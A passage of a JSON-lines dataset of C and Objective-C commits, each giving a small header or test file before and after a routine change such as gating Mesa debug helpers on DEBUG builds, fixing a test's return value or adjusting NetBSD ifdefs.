can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* fermin at tid dot es\n*\n* Author: TID Developer\n*\/\n#include \"convenience\/UpdateContextAttributeRequest.h\"\n#include \"mongoBackend\/MongoGlobal.h\"\n\n\n\n\/* ****************************************************************************\n*\n* mapPutIndividualContextEntityAttributes - \n*\/\nextern HttpStatusCode mapPutIndividualContextEntityAttribute(std::string entityId, std::string attributeName, UpdateContextAttributeRequest* request, StatusCode* response);\n\n#endif\n","subject":"Change date of copyright notice","message":"Change date of copyright notice","lang":"C","license":"agpl-3.0","repos":"jmcanterafonseca\/fiware-orion,Fiware\/data.Orion,gavioto\/fiware-orion,guerrerocarlos\/fiware-orion,Fiware\/data.Orion,Fiware\/context.Orion,Fiware\/data.Orion,fiwareulpgcmirror\/fiware-orion,pacificIT\/fiware-orion,gavioto\/fiware-orion,telefonicaid\/fiware-orion,McMutton\/fiware-orion,Fiware\/context.Orion,yalp\/fiware-orion,McMutton\/fiware-orion,gavioto\/fiware-orion,jmcanterafonseca\/fiware-orion,pacificIT\/fiware-orion,yalp\/fiware-orion,j1fig\/fiware-orion,Fiware\/context.Orion,telefonicaid\/fiware-orion,gavioto\/fiware-orion,j1fig\/fiware-orion,McMutton\/fiware-orion,telefonicaid\/fiware-orion,jmcanterafonseca\/fiware-orion,telefonicaid\/fiware-orion,pacificIT\/fiware-orion,Fiware\/data.Orion,guerrerocarlos\/fiware-orion,fiwareulpgcmirror\/fiware-orion,fiwareulpgcmirror\/fiware-orion,jmcanterafonseca\/fiware-orion,yalp\/fiware-orion,McMutton\/fiware-orion,McMutton\/fiware-orion,pacificIT\/fiware-orion,pacificIT\/fiware-orion,fiwareulpgcmirror\/fiware-orion,guerrerocarlos\/fiware-orion,guerrerocarlos\/fiware-orion,j1fig\/fiware-orion,McMutton\/fiware-orion,yalp\/fiware-orion,Fiware\/context.Orion,fortizc\/fiware-orion,jmcanterafonseca\/fiware-orion,fiwareulpgcmirror\/fiware-orion,fortizc\/fiware-orion,telefonicaid\/fiware-orion,Fiware\/data.Orion,telefonicaid\/fiware-orion,guerrerocarlos\/fiware-orion,fiwareulpgcmirror\/fiware-orion,fortizc\/fiware-orion,fortizc\/fiware-orion,j1fig\/fiware-orion,j1fig\/fiware-orion,yalp\/fiware-orion,McMutton\/fiware-orion,Fiware\/context.Orion,jmcanterafonseca\/fiware-orion,gavioto\/fiware-orion,fortizc\/fiware-orion,Fiware\/data.Orion,fortizc\/fiware-orion,Fiware\/context.Orion"}
{"commit":"232073b0d97756ee4b3961c99050f4e20aa29a44","old_file":"src\/gallium\/auxiliary\/target-helpers\/inline_debug_helper.h","new_file":"src\/gallium\/auxiliary\/target-helpers\/inline_debug_helper.h","old_contents":"\n#ifndef INLINE_DEBUG_HELPER_H\n#define INLINE_DEBUG_HELPER_H\n\n#include \"pipe\/p_compiler.h\"\n#include \"util\/u_debug.h\"\n\n\n\/* Helper function to wrap a screen with\n * one or more debug driver: rbug, trace.\n *\/\n\n#ifdef GALLIUM_TRACE\n#include \"trace\/tr_public.h\"\n#endif\n\n#ifdef GALLIUM_RBUG\n#include \"rbug\/rbug_public.h\"\n#endif\n\n#ifdef GALLIUM_GALAHAD\n#include \"galahad\/glhd_public.h\"\n#endif\n\n#ifdef GALLIUM_NOOP\n#include \"noop\/noop_public.h\"\n#endif\n\nstatic INLINE struct pipe_screen *\ndebug_screen_wrap(struct pipe_screen *screen)\n{\n\n#if defined(GALLIUM_RBUG)\n   screen = rbug_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_TRACE)\n   screen = trace_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_GALAHAD)\n   screen = galahad_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_NOOP)\n   screen = noop_screen_create(screen);\n#endif\n\n   return screen;\n}\n\n#endif\n","new_contents":"\n#ifndef INLINE_DEBUG_HELPER_H\n#define INLINE_DEBUG_HELPER_H\n\n#include \"pipe\/p_compiler.h\"\n#include \"util\/u_debug.h\"\n\n\n\/* Helper function to wrap a screen with\n * one or more debug driver: rbug, trace.\n *\/\n\n#ifdef DEBUG\n\n#ifdef GALLIUM_TRACE\n#include \"trace\/tr_public.h\"\n#endif\n\n#ifdef GALLIUM_RBUG\n#include \"rbug\/rbug_public.h\"\n#endif\n\n#ifdef GALLIUM_GALAHAD\n#include \"galahad\/glhd_public.h\"\n#endif\n\n#ifdef GALLIUM_NOOP\n#include \"noop\/noop_public.h\"\n#endif\n\n#endif \/* DEBUG *\/\n\nstatic INLINE struct pipe_screen *\ndebug_screen_wrap(struct pipe_screen *screen)\n{\n#ifdef DEBUG\n\n#if defined(GALLIUM_RBUG)\n   screen = rbug_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_TRACE)\n   screen = trace_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_GALAHAD)\n   screen = galahad_screen_create(screen);\n#endif\n\n#if defined(GALLIUM_NOOP)\n   screen = noop_screen_create(screen);\n#endif\n\n#endif \/* DEBUG *\/\n\n   return screen;\n}\n\n#endif\n","subject":"Enable debug helpers only on debug builds.","message":"target-helpers: Enable debug helpers only on debug builds.\n\nSome of these helpers use debug_get_option, which works also on releases.\n","lang":"C","license":"mit","repos":"mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,zeux\/glsl-optimizer,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,jbarczak\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,benaadams\/glsl-optimizer,mcanthony\/glsl-optimizer,benaadams\/glsl-optimizer,jbarczak\/glsl-optimizer,zeux\/glsl-optimizer,tokyovigilante\/glsl-optimizer,metora\/MesaGLSLCompiler,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,djreep81\/glsl-optimizer,metora\/MesaGLSLCompiler,djreep81\/glsl-optimizer,dellis1972\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,zeux\/glsl-optimizer,wolf96\/glsl-optimizer,wolf96\/glsl-optimizer,zz85\/glsl-optimizer,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,bkaradzic\/glsl-optimizer,jbarczak\/glsl-optimizer,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,wolf96\/glsl-optimizer,tokyovigilante\/glsl-optimizer,benaadams\/glsl-optimizer,dellis1972\/glsl-optimizer,zeux\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,tokyovigilante\/glsl-optimizer,djreep81\/glsl-optimizer,zz85\/glsl-optimizer,mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,mapbox\/glsl-optimizer,wolf96\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,mapbox\/glsl-optimizer"}
{"commit":"305cbdf45f2e9414d283abb7c7f4adcf1de546fc","old_file":"samplecode\/GMSampleView.h","new_file":"samplecode\/GMSampleView.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM \");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM:\");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","subject":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.","message":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.\n\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"6647f18c6da873cfda4320efff02bf1aa28c2888","old_file":"projects\/PathosEngine\/src\/pathos\/mesh\/static_mesh_component.h","new_file":"projects\/PathosEngine\/src\/pathos\/mesh\/static_mesh_component.h","old_contents":"#pragma once\n\n#include \"pathos\/actor\/scene_component.h\"\n#include \"badger\/types\/matrix_types.h\"\n\nnamespace pathos {\n\n\tclass Mesh;\n\tclass MeshGeometry;\n\tclass Material;\n\n\t\/\/ #todo-renderer: Further decompose\n\tstruct StaticMeshProxy : public SceneComponentProxy {\n\t\tuint32 doubleSided : 1;\n\t\tuint32 renderInternal : 1;\n\t\tmatrix4 modelMatrix;\n\t\tMeshGeometry* geometry;\n\t\tMaterial* material;\n\t};\n\n\tstruct ShadowMeshProxy : public SceneComponentProxy {\n\t\tmatrix4 modelMatrix;\n\t\tMeshGeometry* geometry;\n\t};\n\n\tclass StaticMeshComponent : public SceneComponent {\n\t\tfriend class GodRay; \/\/ due to createRenderProxy_internal()\n\n\tpublic:\n\t\tvirtual void createRenderProxy(Scene* scene);\n\n\t\tinline Mesh* getStaticMesh() const { return mesh; }\n\n\t\tvoid setStaticMesh(Mesh* inMesh) { mesh = inMesh; }\n\n\tprivate:\n\t\tvoid createRenderProxy_internal(Scene* scene, std::vector<StaticMeshProxy*>& outProxyList);\n\n\tpublic:\n\t\tbool castsShadow = true;\n\n\tprivate:\n\t\tMesh* mesh;\n\n\t};\n\n}\n","new_contents":"#pragma once\n\n#include \"pathos\/actor\/scene_component.h\"\n#include \"badger\/types\/matrix_types.h\"\n\nnamespace pathos {\n\n\tclass Mesh;\n\tclass MeshGeometry;\n\tclass Material;\n\n\t\/\/ #todo-renderer: Further decompose\n\tstruct StaticMeshProxy : public SceneComponentProxy {\n\t\tuint32 doubleSided : 1;\n\t\tuint32 renderInternal : 1;\n\t\tmatrix4 modelMatrix;\n\t\tMeshGeometry* geometry;\n\t\tMaterial* material;\n\t};\n\n\tstruct ShadowMeshProxy : public SceneComponentProxy {\n\t\tmatrix4 modelMatrix;\n\t\tMeshGeometry* geometry;\n\t};\n\n\tclass StaticMeshComponent : public SceneComponent {\n\t\tfriend class GodRay; \/\/ due to createRenderProxy_internal()\n\n\tpublic:\n\t\tvirtual void createRenderProxy(Scene* scene);\n\n\t\tinline Mesh* getStaticMesh() const { return mesh; }\n\n\t\tvoid setStaticMesh(Mesh* inMesh) { mesh = inMesh; }\n\n\tprivate:\n\t\tvoid createRenderProxy_internal(Scene* scene, std::vector<StaticMeshProxy*>& outProxyList);\n\n\tpublic:\n\t\tbool castsShadow = true;\n\n\tprivate:\n\t\tMesh* mesh = nullptr;\n\n\t};\n\n}\n","subject":"Set default value of StaticMeshComponent::mesh to nullptr","message":"Set default value of StaticMeshComponent::mesh to nullptr\n","lang":"C","license":"mit","repos":"codeonwort\/pathosengine,codeonwort\/pathosengine,codeonwort\/pathosengine"}
{"commit":"2f92cee416aef4684471c539e370772824ae7854","old_file":"tests\/tgen-mstring.c","new_file":"tests\/tgen-mstring.c","old_contents":"\/*\n * Copyright (c) 2017-2022, Patrick Pelissier\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * + Redistributions of source code must retain the above copyright\n *   notice, this list of conditions and the following disclaimer.\n * + Redistributions in binary form must reproduce the above copyright\n *   notice, this list of conditions and the following disclaimer in the\n *   documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"m-string.h\"\n\nsize_t fsize(const char str[])\n{\n  return m_str1ng_utf8_length(str);\n}\n\nvoid convert(string_t s, unsigned n)\n{\n  m_string_set_ui(s, n);\n}\n","new_contents":"\/*\n * Copyright (c) 2017-2022, Patrick Pelissier\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * + Redistributions of source code must retain the above copyright\n *   notice, this list of conditions and the following disclaimer.\n * + Redistributions in binary form must reproduce the above copyright\n *   notice, this list of conditions and the following disclaimer in the\n *   documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"m-string.h\"\n\nsize_t fsize(const char str[])\n{\n  return m_str1ng_utf8_length(str);\n}\n\nvoid convert(string_t s, unsigned n)\n{\n  m_string_set_ui(s, n);\n}\n\nvoid construct(char s[], unsigned n)\n{\n  strcpy(s, M_CSTR(\"Hello %u worlds\"));\n}\n","subject":"Update code for generated asm analysis","message":"Update code for generated asm analysis\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"d0d9cd60fdfb44d71e61dca4737fc6a2c70a266e","old_file":"WebSocketTransport\/WebSocketTransport.h","new_file":"WebSocketTransport\/WebSocketTransport.h","old_contents":"\/\/\n\/\/  WebSocketTransport.h\n\/\/  WebSocketTransport\n\/\/\n\/\/  Created by Paul Young on 27\/08\/2014.\n\/\/  Copyright (c) 2014 CocoaFlow. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for WebSocketTransport.\nFOUNDATION_EXPORT double WebSocketTransportVersionNumber;\n\n\/\/! Project version string for WebSocketTransport.\nFOUNDATION_EXPORT const unsigned char WebSocketTransportVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <WebSocketTransport\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  WebSocketTransport.h\n\/\/  WebSocketTransport\n\/\/\n\/\/  Created by Paul Young on 27\/08\/2014.\n\/\/  Copyright (c) 2014 CocoaFlow. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for WebSocketTransport.\nFOUNDATION_EXPORT double WebSocketTransportVersionNumber;\n\n\/\/! Project version string for WebSocketTransport.\nFOUNDATION_EXPORT const unsigned char WebSocketTransportVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <WebSocketTransport\/PublicHeader.h>\n\n#import \"BLWebSocketsServer.h\"\n","subject":"Make BLWebSocketsServer available in Swift.","message":"Make BLWebSocketsServer available in Swift.\n","lang":"C","license":"apache-2.0","repos":"CocoaFlow\/WebSocketTransport"}
{"commit":"f48d179fc86c5fc1883738a9559bfb2f3c9995ac","old_file":"ZDetailKit\/ZDetailKit.h","new_file":"ZDetailKit\/ZDetailKit.h","old_contents":"\/\/\n\/\/  ZDetailKit.h\n\/\/\n\/\/  Created by Lukas Zeller on 15.02.13.\n\/\/  Copyright (c) 2013 plan44.ch. All rights reserved.\n\/\/\n\n\n\/\/ common\n#import \"ZDetailEditing.h\"\n#import \"ZDBGMacros.h\"\n\n\/\/ ZUtils\n#import \"ZCustomI8n.h\"\n\n\/\/ controllers\n#import \"ZDetailTableViewController.h\"\n\n\/\/ cells\n#import \"ZButtonCell.h\"\n#import \"ZSwitchCell.h\"\n#import \"ZSegmentChoicesCell.h\"\n#import \"ZSliderCell.h\"\n#import \"ZTextFieldCell.h\"\n#import \"ZTextViewCell.h\"\n#import \"ZDateTimeCell.h\"\n#import \"ZColorChooserCell.h\"\n#import \"ZChoiceListCell.h\"\n\n\/\/ Note: ZLocationCell requires MapKit and CoreLocation frameworks to be included in the app\n#import \"ZLocationCell.h\"\n\n\/\/ EOF","new_contents":"\/\/\n\/\/  ZDetailKit.h\n\/\/\n\/\/  Created by Lukas Zeller on 15.02.13.\n\/\/  Copyright (c) 2013 plan44.ch. All rights reserved.\n\/\/\n\n\n\/\/ common\n#import \"ZDetailEditing.h\"\n#import \"ZDBGMacros.h\"\n\n\/\/ ZUtils\n#import \"ZCustomI8n.h\"\n\n\/\/ controllers\n#import \"ZDetailTableViewController.h\"\n\n\/\/ cells\n#import \"ZButtonCell.h\"\n#import \"ZSwitchCell.h\"\n#import \"ZSegmentChoicesCell.h\"\n#import \"ZSliderCell.h\"\n#import \"ZTextFieldCell.h\"\n#import \"ZTextViewCell.h\"\n#import \"ZDateTimeCell.h\"\n#import \"ZColorChooserCell.h\"\n#import \"ZChoiceListCell.h\"\n\n\/\/ Note: ZLocationCell requires MapKit and CoreLocation frameworks to be included in the app,\n\/\/       which in turn requires that the app declares usage of location in NSLocationAlwaysUsageDescription,\n\/\/       NSLocationWhenInUseUsageDescription, and NSLocationAlwaysAndWhenInUseUsageDescription in info.plist\n#import \"ZLocationCell.h\"\n\n\/\/ EOF\n","subject":"Comment improvement: explain consequences of using ZLocationCell","message":"Comment improvement: explain consequences of using ZLocationCell","lang":"C","license":"mit","repos":"plan44\/zdetailkit"}
{"commit":"1aafca50ae3f5050c05567b76d028e30711b2ba7","old_file":"project_config\/lmic_project_config.h","new_file":"project_config\/lmic_project_config.h","old_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n#define CFG_us915 1\n\/\/#define CFG_au921 1\n\/\/#define CFG_as923 1\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","new_contents":"\/\/ project-specific definitions\n\/\/#define CFG_eu868 1\n#define CFG_us915 1\n\/\/#define CFG_au921 1\n\/\/#define CFG_as923 1\n\/\/ #define LMIC_COUNTRY_CODE LMIC_COUNTRY_CODE_JP\t\/* for as923-JP *\/\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","subject":"Add example of how to select Japan country","message":"Add example of how to select Japan country\n","lang":"C","license":"mit","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic"}
{"commit":"892c39d588e9a16609b67177e912ac1564317838","old_file":"libk\/UVSE\/screenTest.c","new_file":"libk\/UVSE\/screenTest.c","old_contents":"#include \"..\/libk.h\"\n\nvoid screenTest(void)\n{ \n    int rows, cols; rows = glob.rows; cols = glob.cols;\n\n    printf(\"%s\", CursorToTopLeft ClearScreen );fflush(stdout);\n    printf(\"Top of Screen: rows = %d cols = %d\\n\\r\", rows,cols);fflush(stdout);\n\n    int count;\n    for (count = 2; count < rows; count ++)\n        {printf(\"%s\", TildeReturnNewline); fflush(stdout);}\n\n    printf(\"%s\",\"Bottom of Screen         \"); fflush(stdout);\n\n\/\/  Force Cursor Position with\t<ESC>[{ROW};{COLUMN}f\n\n    printf (\"\\x1b[%d;%df%s\", 5,5,\"Hello World\"); fflush(stdout);\n    \n\/\/\n    printf(\"\\x1b[%d;%df\",2,1); fflush(stdout);\n\n    return; \n }\n","new_contents":"#include \"..\/libk.h\"\n\/\/  function screenTest\nvoid screenTest(void)\n{ \n\/\/  retrieve Screen rows and columns from struct glob\n    int rows, cols; rows = glob.rows; cols = glob.cols;\n\/\/  Move Screen Cursor to Top Left, Then Clear Screen\n    printf(\"%s\", CursorToTopLeft ClearScreen );fflush(stdout);\n\/\/  Print the Screen Header\n    printf(\"Top of Screen: rows = %d cols = %d\\n\\r\", rows,cols);fflush(stdout);\n\n    int count;\n\/\/  Print Left Column Tildes to Screen, leaving screen last line clear\n    for (count = 2; count < rows; count ++)\n        {printf(\"%s\", TildeReturnNewline); fflush(stdout);}\n\/\/  Prnt Screen Last Line \n    printf(\"%s\",\"Bottom of Screen         \"); fflush(stdout);\n\n\/\/  Place Cursor Position with\t<ESC>[{ROW};{COLUMN}f\n\n    printf (\"\\x1b[%d;%df%s\", 5,5,\"Hello World\"); fflush(stdout);\n    \n\/\/  Move Screen Cursor to Second Line, First Column \n    printf(\"\\x1b[%d;%df\",2,1); fflush(stdout);\n\n    return; \n }\n","subject":"Add comments suit for formatting with idiom","message":"Add comments suit for formatting with idiom\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"0b062eb9d2908410674c2751bbcee5b9df464732","old_file":"src\/sensors\/lmsensor.h","new_file":"src\/sensors\/lmsensor.h","old_contents":"\n#ifndef LMSENSOR_H\n#define LMSENSOR_H\n\n#include <K3Process>\n#include <K3ProcIO>\n\n#include \"sensor.h\"\n\n\/**\n *\n * Hans Karlsson\n **\/\nclass SensorSensor : public Sensor\n{\n    Q_OBJECT\npublic:\n    SensorSensor(int interval, char tempUnit);\n\n    ~SensorSensor();\n\n    void update();\n\n\nprivate:\n    K3ShellProcess ksp;\n    QString extraParams;\n\n    QMap<QString, QString> sensorMap;\n#ifdef __FreeBSD__\n    QMap<QString, QString> sensorMapBSD;\n#endif\n    QString sensorResult;\n\nprivate slots:\n    void receivedStdout(K3Process *, char *buffer, int);\n    void processExited(K3Process *);\n\n};\n\n#endif \/\/ LMSENSOR_H\n","new_contents":"\n#ifndef LMSENSOR_H\n#define LMSENSOR_H\n\n#include <K3Process>\n#include <K3ProcIO>\n\n#include \"sensor.h\"\n\n\/**\n *\n * Hans Karlsson\n **\/\nclass SensorSensor : public Sensor\n{\n    Q_OBJECT\npublic:\n    SensorSensor(int interval, char tempUnit);\n\n    ~SensorSensor();\n\n    void update();\n\n\nprivate:\n    K3ShellProcess ksp;\n    QString extraParams;\n\n    QMap<QString, QString> sensorMap;\n#if defined(__FreeBSD__) || defined(Q_OS_NETBSD)\n    QMap<QString, QString> sensorMapBSD;\n#endif\n    QString sensorResult;\n\nprivate slots:\n    void receivedStdout(K3Process *, char *buffer, int);\n    void processExited(K3Process *);\n\n};\n\n#endif \/\/ LMSENSOR_H\n","subject":"Fix knode superkaramba compilation on NetBSD. Patch by Mark Davies. BUG: 154730","message":"Fix knode superkaramba compilation on NetBSD.\nPatch by Mark Davies.\nBUG: 154730\n\nsvn path=\/trunk\/KDE\/kdeutils\/superkaramba\/; revision=753733\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/superkaramba,KDE\/superkaramba,KDE\/superkaramba"}
{"commit":"bdb2ac5ba922fe59c0aa5326b2a667ee9be2a8f0","old_file":"ir\/be\/test\/fehler111.c","new_file":"ir\/be\/test\/fehler111.c","old_contents":"int x = 0;\n\nint main(int argc, char *argv[]) {\n\tint y;\n\tchar *p = &x;\n\n\t*p = 23;\n\ty = x;\n\tx = 35;\n\treturn y;\n}\n","new_contents":"int x = 0;\n\nint main(int argc, char *argv[]) {\n\tint y;\n\tchar *p = &x;\n\n\t*p = 23;\n\ty = x;\n\tx = 35;\n\treturn y != 23;\n}\n","subject":"Fix return value of main().","message":"Fix return value of main().\n\n[r19359]\n","lang":"C","license":"lgpl-2.1","repos":"killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,8l\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,8l\/libfirm,8l\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,8l\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,8l\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm"}
{"commit":"9aadb4378eb007d7116ffea50848f18f0b06a6da","old_file":"test\/TestPrologue.h","new_file":"test\/TestPrologue.h","old_contents":"#pragma once\n\n#include <TestFramework\/TestFramework.h>\n#include <cal3d\/streamops.h>\n#include <cal3d\/vector4.h>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/scoped_ptr.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/scoped_array.hpp>\n\nusing boost::scoped_ptr;\nusing boost::shared_ptr;\nusing boost::lexical_cast;\nusing boost::scoped_array;\n\ninline bool AreClose(\n    const CalPoint4& p1,\n    const CalPoint4& p2,\n    float tolerance\n) {\n    return (p1.asCalVector4() - p2.asCalVector4()).length() < tolerance;\n}\n","new_contents":"#pragma once\n\n\/\/ The old version of clang currently used on the Mac builder requires some\n\/\/ operator<<() declarations to precede their use in the UnitTest++\n\/\/ templates\/macros. -- jlee - 2014-11-21\n#include <cal3d\/streamops.h>\n\n#include <TestFramework\/TestFramework.h>\n#include <cal3d\/vector4.h>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/scoped_ptr.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/scoped_array.hpp>\n\nusing boost::scoped_ptr;\nusing boost::shared_ptr;\nusing boost::lexical_cast;\nusing boost::scoped_array;\n\ninline bool AreClose(\n    const CalPoint4& p1,\n    const CalPoint4& p2,\n    float tolerance\n) {\n    return (p1.asCalVector4() - p2.asCalVector4()).length() < tolerance;\n}\n","subject":"Rearrange output operator declarations in tests to make old OSX clang happy","message":"cal3d: Rearrange output operator declarations in tests to make old OSX clang happy\n\nMaybe fixing Mac buildbot.\n\ngit-svn-id: febc42a3fd39fb08e5ae2b2182bc5ab0a583559c@207440 07c76cb3-cb09-0410-85de-c24d39f1912e\n","lang":"C","license":"lgpl-2.1","repos":"imvu\/cal3d,imvu\/cal3d,imvu\/cal3d,imvu\/cal3d"}
